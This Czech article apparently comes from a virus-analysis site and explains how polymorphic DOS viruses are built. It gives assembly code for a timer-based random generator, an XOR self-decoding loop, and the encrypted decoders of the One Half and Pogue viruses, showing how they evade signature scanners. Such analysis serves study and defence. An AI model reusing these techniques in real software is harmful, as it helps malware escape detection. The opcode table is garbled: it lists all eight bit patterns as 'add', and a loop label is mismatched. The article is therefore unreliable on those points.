![]() |
![]() |
|||||
Konstrukce polymorfních virů
Polymorfní viry jsou bezesporu nejpřitažlivější skupinou virů. Kód, který je schopen
pokaždé jiným způsobem vygenerovat své tělo, již podvědomě budí zvědavost a nabízí myšlenkovou paralelu s
viry biologickými. I polymorfní virus je však stále pouhým programem, který pracuje tak, jak byl programátorem
sestaven. Reverzibilní algoritmusKóder i dekóder je integrován do jednoho mechanismu, použitelného pro oba účely. Reverzibilita bývá často nejčastěji dosažena pomocí logické operace xor. Reverzibilní algoritmus je výhradně používán viry semi-polymorfními, jejichž kódování je velice primitivní a stojí na hierarchickém stupni vývoje pod viry plně polymorfními. Nereverzibilní algoritmus
Nereverzibilní mechanismus má separátně oddělený kodér i dekodéř. Kódování je tvořeno zejména postupným a pokaždé
jiným skládáním výpočtu, které neumožňuje identické použití pro dekódování. Princip implementace polymorfismuVirový polymorfismus je založen na dvou základních principech instrukčního souboru mikroprocesorů řady INTEL, používaných v počítačích PC. Všechny instrukce procesoru mají definovanou masku s parametrickým bitovým polem, které upřesňuje pracovní operandy. Polymorfní viry využívají právě tuto podobnost, jež jim zaručuje právě stejná maska pro instrukce podobného významu. Přímá podobnost instrukcíPřímá podobnost využívá sousednosti instrukcí v instrukčním souboru. Např. hexadecimální hodnotou b8 začíná sekce instrukcí naplňující 16bitový registr přímým operandem: b8h ... mov ax, "primy operand" b9h ... mov cx, "primy operand" bah ... mov dx, "primy operand" bbh ... mov bx, "primy operand" bch ... mov sp, "primy operand" bdh ... mov bp, "primy operand" beh ... mov si, "primy operand" bfh ... mov di, "primy operand"
Tuto podobnost využívá např. virus One Half (podrobněji viz dále) pro výběr dekódovacího registru.
Prostý součet hodnoty b8h a hodnoty náhodného čísla v rozsahu 0 až 7 generuje příslušný registr. Kód bch
bývá viry zapovězen, neboť ukazatel na zásobník je z pochopitelných důvodů tabu. 50h ... push ax 58h ... pop ax 51h ... push cx 59h ... pop cx 52h ... push dx 5ah ... pop dx 53h ... push bx 5bh ... pop bx 54h ... push sp 5ch ... pop sp 55h ... push bp 5dh ... pop bp 56h ... push si 5eh ... pop si 57h ... push di 5fh ... pop di Podobnost skupiny instrukcíV tomto případě se jedná o vícebajtové instrukce, kdy první bajt specifikuje skupinu instrukcí (aritmetické operace, operace posuvu a rotací apod.) a až druhý bajt určuje samotný kód instrukce. Druhý bajt instrukce má definovaný bitový tvar XXYYYZZZ, kde první dva bity XX udávají mód, prostřední tři bity YYY představují požadovanou instrukci a poslední tři bity ZZZ specifikují operand (registr či pamět). Pro polymorfismus jsou důležité zejména bity YYY aritmetických operací, jejichž kombinace představují tyto instrukce: 000 ... add 001 ... add 010 ... add 011 ... add 100 ... add 101 ... add 110 ... add 111 ... add Vymaskování, resp. nastavení bitů YYY na hodnotu náhodného čísla z intervalu 0 až 7 opět generuje příslušnou instrukci. Generátor pseudonáhodných čísel
Systémový čas, resp. čítač cyklů časovače 8253 patří k základním způsobům, jak mohou polymorfně zaměřené viry získat "náhodnou" číselnou hodnotu.
Časovač taktuje každých 55 ms a jeho hodnota je viry zpřístupňována zejména přes port 40h. Další možností
je ekvivalentní přímé čtení z proměnné BIOSu na adrese 0:046c. init_rnd: push dx ; uschova registru push cx push bx mov ah, 2ch ; sluzba "Cti systemovy cas" int 21h ; Obsazeni registru po provedeni sluzby: ; CH ... hodiny (0 az 23) ; CL ... minuty (0 az 59) ; DH ... sekundy (0 az 59) ; DL ... setiny sekund (0 az 99) Pro některé viry je generátor pseudonáhodných čísel tvořen pouze tímto voláním. Virus Brain např. používá pro kódování xor-konstantu pouze hodnotu registru dl. Z rozsahu setin sekund je zřejmé, že virus může vygenerovat sto různě kódovaných tvarů virového těla. in al, 40h ; nacteni casovace mov ah, al in al, 40h ; nacteni casovace xor ax, cx ; rozsireni na cely rozsah cisla integer xor dx, ax ; jmp short rnd_done ; skok na konec generatoru Výpočet pseudonáhodného čísla. get_rnd: push dx ; uschova registru push cx push bx in al, 40h ; nacteni casovace db 05h ; add ax, hodnota patch1 patch1 dw 0 ; prvni rekurentni konstanta db 0bah ; mov dx, hodnota patch2 patch2 dw 0 ; druha rekurentni konstanta mov cx, 7 ; sedmipruchodova rnd_loop: ; smycka shl ax, 1 ; pro rcl dx, 1 ; vypocet mov bl, al ; pseudonahodneho xor bl, dh ; cisla jns lbl ; inc al ; lbl: loop rnd_loop rnd_done: ; ukonceni generovani mov patch1, ax ; naplneni mov patch2, dx ; rekurentnich konstant mov al, dl ; "doladeni" vysledku pop bx ; obnova registru pop cx pop dx retn ; pseudonahodne cislo je v registru AX V těle polymorfní části viru je pak generátor volán instrukcemi "call init_rnd" pro počáteční nastartování generátoru a "call get_rnd" pro získání pseudonáhodného čísla. Získané pseudonáhodné číslo je pak pro potřebu daného maximálního rozsahu 0 až MAX ořezáno instrukcí "and ax, MAX", resp. "and al, MAX". Semi-polymorfní reverzibilní algoritmus
Značné množství virů využívá primitivní semi-polymorfní techniku kódování prostřednictvím logické operace xor,
která umožnuje zakódovat a odkódovat daný údaj pomocí stejného klíče. ff xor a1 = 5e ... kódování 5e xor a1 = ff ... dekódování Jak je vidět, po dvojí aplikaci stejného kódovacího klíče obdržíme výchozí bajt. U těchto virů můžeme nejčastěji nalézt tuto typickou posloupnost instrukcí, plnící funkci dekódovací rutiny: mov bx, adresa pocatku zakodovaneho tela mov dl, (od)kodovaci xor-konstanta mov cx, delka zakodovaneho tela v bajtech vlasti_smycka: xor cs:[bx], dl ; vlastni odkodovani inc bx ; posun na dalsi zakodovany bajt loop vlastni_smycka
Samozřejmě, může se lišit použití některých registrů či lze případně dekódovat místo bajtů slova,
ale princip vždy zůstává tentýž. Uvedená metoda je navíc velice výhodná z důvodu univerzálnosti této
rutiny jak pro kódování tak i pro dekódování. Polymorfní reverzibilní algoritmus
I pro plně polymorfní viry je z programátorského hlediska pro dosažení reverzibility algoritmu nejsnažší,
a v podstatě i jedinou, možností použití logické operace xor. Virus One Half je u nás jedním z nejznámějších
představitelů této skupiny. Úvodní dekódovací smyčka je složená návěští, jež každé má následující strukturu: start: ; puvodni program (virovy lapac) jmp go db 1536 dup (0) ; velikostni vypln (1536=600h) go: int 20h Infikovaný program, tvořený v našem případě pouze velikostní výplní, je návěštími dekodéru tvrdě přepsán. Přepsané části jsou uschovány v zakódovaném těle viru a před pozdějším předáním řízení infikovanému programu virus zajišťuje jejich obnovu, takže uživatel za běžných okolností nic nepozná. Tento postup navíc vyřazuje z činnosti odvirovací programy pracující na principu univerzálního cleanu. Léčba takto zavirovaných programů bývá realizována zejména jednoúčelovými programy. start: ; zavirovany tvar jmp lbl_5 ; skok na vstupni navesti dekoderu db 542 dup (0) ; cast zavirovaneho programu lbl_1: ; vlastni dekodovani ss: xor [si], di ; xor [indexovaci registr], dekodovaci registr nop jmp lbl_4 db 18 dup (0) ; cast zavirovaneho programu lbl_2: ; otestovani priznaku ukonceni dekodovani jnz lbl_1 ; jne lbl_1 nebo jnz lbl_1 stc cs: std jmp virus_entry ; ukonceni dekodovani db 47 dup (0) ; cast zavirovaneho programu lbl_3: pop ds ; pouze moznost pop ds nop jmp lbl_10 db 71 dup (0) ; cast zavirovaneho programu lbl_4: ; akutualizace dekodovaci konstanty add di, 2eefh ; add dekodovaci registr, konstanta jmp short lbl_6 db 38 dup (0) ; cast zavirovaneho programu lbl_5: push ax ; pouze moznost push ax stc cld jmp lbl_9 db 33 dup (0) ; cast zavirovaneho programu lbl_6: ; posun na dalsi zakodovane slovo ds: stc cs: inc si ; inc indexovaci registr jmp short lbl_7 db 9 dup (0) ; cast infikovaneho programu lbl_7: ; test, je-li vse dekodovano cmp si, 14ddh ; cmp indexovaci registr, ; offset pocatek_zakodovaneho_viru + delka viru jmp lbl_2 db 142 dup (0) ; cast infikovaneho programu lbl_8: ; uvodni naplneni dekodovaciho registru mov di, 0ce3bh ; vyber dekodovaciho registru ax, bx, cx, dx, bp, si, di ; s ohledem na kolizi s indexovacim registrem ; a jeho naplneni pocatecni dekodovaci konstantou cld sti cld jmp lbl_1 db 50 dup (0) ; cast infikovaneho programu lbl_9: cld cmc push ss ; push cs nebo push ss clc jmp lbl_3 db 354 dup (0) ; cast infikovaneho programu lbl_10: ; nastaveni pocatecniho mista pro dekodovani mov si, 705h ; vyber indexovaciho registru bx, si, di ; a jeho naplneni hodnotou offset pocatek_zakodovaneho_viru jmp lbl_8 db 164 dup (0) ; cast infikovaneho programu Velikostní součet db-výplní infikovaného programu činí 1468 bajtů, zbylých 68 bajtů je délka samotného dekodéru. go: int 20h ; zbytek infikovaneho programu pocatek_zakodovaneho_viru: Zakodovane telo viru One Half Plně polymorfní mechanismus, na rozdíl od semi-polymorfních předchůdců, zcela odsouvá do role statisty antivirové scannery pracující na principu virových identifikačních řetezců. Klíčem k detekci polymorfních virů je heuristická metoda analýzy kódu programu.
Polymorfní nereverzibilní algoritmusPodstatou nereverzibilních virových mechanismů je postupné skládání kódu, resp. plnění hodnot příslušných registrů prováděním dílčích instrukcí. Velice trefným přirovnáním jsou populární puzzle. Např. realizovat instrukci "add ax, 2" je možné nepřeberným množstvím variant kombinací instrukcí "inc","add","dec" a "sub": inc ax inc ax add ax,4 inc ax add ax,1 sub ax,2 Stejně tak i plnící instrukci "mov ax, 606h" lze realizovat zamlžujícím postupem: mov ax, 202h ; AX=202h mov bx, 101h ; BX=101h add ax, bx ; AX=303h shl ax, 1 ; nasobeni dvema => AX=606h
Obdobným způsobem mohou nereverzibilně zaměřené viry modifikovat použití skokových instrukcí prostřednictvím skoků
přes pomocná návěští, příp. instrukci cyklu "loop" mohou nahradit posloupností instrukcí "dec cx" a "jnz navesti_smycky" apod.
Dá se říci, že možnosti jsou omezeny pouze fantazií a schopnostmi virových pisatelů. start: dec bp ; priznak zavirovaneho souboru jmp dekoder ... infikovany program ... dekoder: mov bp, 0a16ch ; bp=a16c mov cl, 3 ror bp, cl ; bp=942d mov cx, bp mov bp, 856eh ; bp=856e or bp, 740fh ; bp=f56f mov si, bp mov bp, 3b92h ; bp=3b92 add bp, si ; bp=3101 xor bp, cx ; bp=a52c sub bp, 0b10ch ; bp=f420 Uvodní část dekodéru pouze maskuje významově jedinou instrukci "mov bp, 0f420h". Tato hodnota slouží v následující smyčce k bázové části adresy zakódovaného těla viru. smycka: mov bx, [bp + 0d23h] ; poprve - mov bx, [0143] add bx, 9d64h ; vlastni dekodovani xchg [bp + 0d23h], bx ; a opetovne ulozeni zpracovaneho slova Virus refinovaně využívá přetečení výsledku součtu hodnot bp a 0d23h; nastavení příznaku CF je v tomto případě nepodstatné. mov bx, 8f31h sub bx, bp ; 9b11 mov bp, 8f33h sub bp, bx ; bp=f422 (tj. add bp,2) jnz smycka Instrukce posunu algoritmu na další zakódované slovo ("add bp, 2") je opět zamaskována. Počáteční bázová hodnota f420h není náhodná, ale je vybrána s ohledem na požadovaný počet 1520 iterací, což odpovídá, vzhledem ke slovním operacím, velikosti 3040 B zakódované části viru. Hodnota je dána výrazem (64 kB - f420 + 1) / 2 = 1520. mov bx, bp mov cl, 3 ror bx, cl Závěrečná část dekodéru je složena z nevýznamných instrukcí, pomocí nichž virus dosahuje proměnné délky svého těla. Je zajímavé sledovat, že nevýznamnými instrukce nejsou pouze jednobajtové instrukce typu "nop" či "cmc", ale podstatně komplikovanější konstrukce. segment:0143 ... zakodovana cast tela viru Pogue ... |
||||||
![]() |
![]() |